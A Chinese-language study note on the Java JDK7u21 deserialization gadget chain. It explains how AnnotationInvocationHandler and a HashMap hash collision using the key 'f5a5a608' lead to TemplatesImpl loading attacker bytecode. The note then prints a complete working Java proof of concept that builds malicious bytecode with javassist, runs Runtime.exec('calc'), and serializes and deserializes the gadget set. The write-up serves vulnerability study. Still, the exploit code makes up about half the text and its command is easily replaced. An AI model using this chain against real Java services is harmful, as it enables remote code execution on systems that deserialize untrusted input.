分析

前置知识是TemplatesImpl类加载字节码RCE,也是sink点
TemplatesImpl类的newTransformer方法会调用getTransletInstance方法 ,然后先通过defineTransletClasses方法填充__class__,然后调用x].newInstance()RCE

这里需要找到一个类调用TemplatesImpl的newTransformer方法
这里我们找到的是AnnotationInvocationHandlerequalsImpl方法
image.png
这里可以调用var1类的var5方法
var5是var2来的,var2是getMemberMethods()方法获取的
image.png
可以看到memberMethods是通过this.type获取的.,这个值构造函数我们是可控的,我们可以控制它是Templates类,它只有newTransformergetOutputProperties方法

而equalsImpl方法是通过AnnotationInvocation类的invoke方法调用的
image.png
进入if语句需要满足几个条件:

  1. 代理的方法名是”equals”
  2. 这个代理方法的参数只有1个
  3. 参数类型是Object类型

这里我们使用的是Hashmap的put()方法当产生哈希冲突时会调用key.equals(k)

image.png

我们需要存入两个key,保证它们的hash值相等,indexFor计算的i相等,两个key值不相等,上一个key要是TemplatesImpl对象,这次的key是代理的AnnotationInvocation类
如图:
image.png

此时才可连上链子

怎么保证两次的hash值相同的?

查看HashMap的hash方法:
image.png
发现有个k.hashCode()方法
这个k是TemplatesImpl对象或者代理类
代理类的invoke方法检测方法名,如果是hashCode()方法就调用hashCodeImpl()方法
image.png

1
2
3
4
5
6
7
8
9
10
private int hashCodeImpl() {
int var1 = 0;

Map.Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Map.Entry)var2.next();
}

return var1;
}

这里var2遍历我们传入的memberValues,var3做一次for循环就被赋值了那个HashMap对象
var3.getKey()).hashCode()计算我们传入的字符串的hashCode()方法,而f5a5a608经过String.hashCode()方法处理完结果是0
而0与任何值异或都是对方
主要看memberValueHashCode(var3.getValue()),而TemplatesImpl没有hashCode()方法
而我们第一次set.add(templates);传入的templates和第二次一样的,因此hash相同,具体看Poc代码

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package ysoserial.study;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

/**
* @Author: H3rmesk1t
* @Data: 2022/3/10 8:16 下午
*/
public class study1 {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static TemplatesImpl generateEvilTemplates() throws Exception {

// 生成恶意的 bytecodes
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractMethodError.class));
CtClass ctClass = pool.makeClass("JDK7u21Exploit");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
ctClass.makeClassInitializer().insertBefore(cmd);
byte[] ctClassBytes = ctClass.toBytecode();
byte[][] targetByteCodes = new byte[][]{ctClassBytes};

// 实例化类并设置属性
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "h3rmesk1t");
setFieldValue(templatesImpl, "_bytecodes", targetByteCodes);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

return templatesImpl;
}

public static void exp() throws Exception {

TemplatesImpl templates = generateEvilTemplates();
HashMap hashMap = new HashMap();
hashMap.put("f5a5a608", "zero");

Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, hashMap);

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(study1.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

// 将恶意templates设置到map中
hashMap.put("f5a5a608", templates);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = (Object)ois.readObject();
System.out.println(object);
ois.close();
}

public static void main(String[] args) {
try {
exp();
} catch (Exception e) {
e.printStackTrace();
}
}
}

参考

https://www.freebuf.com/articles/web/327709.html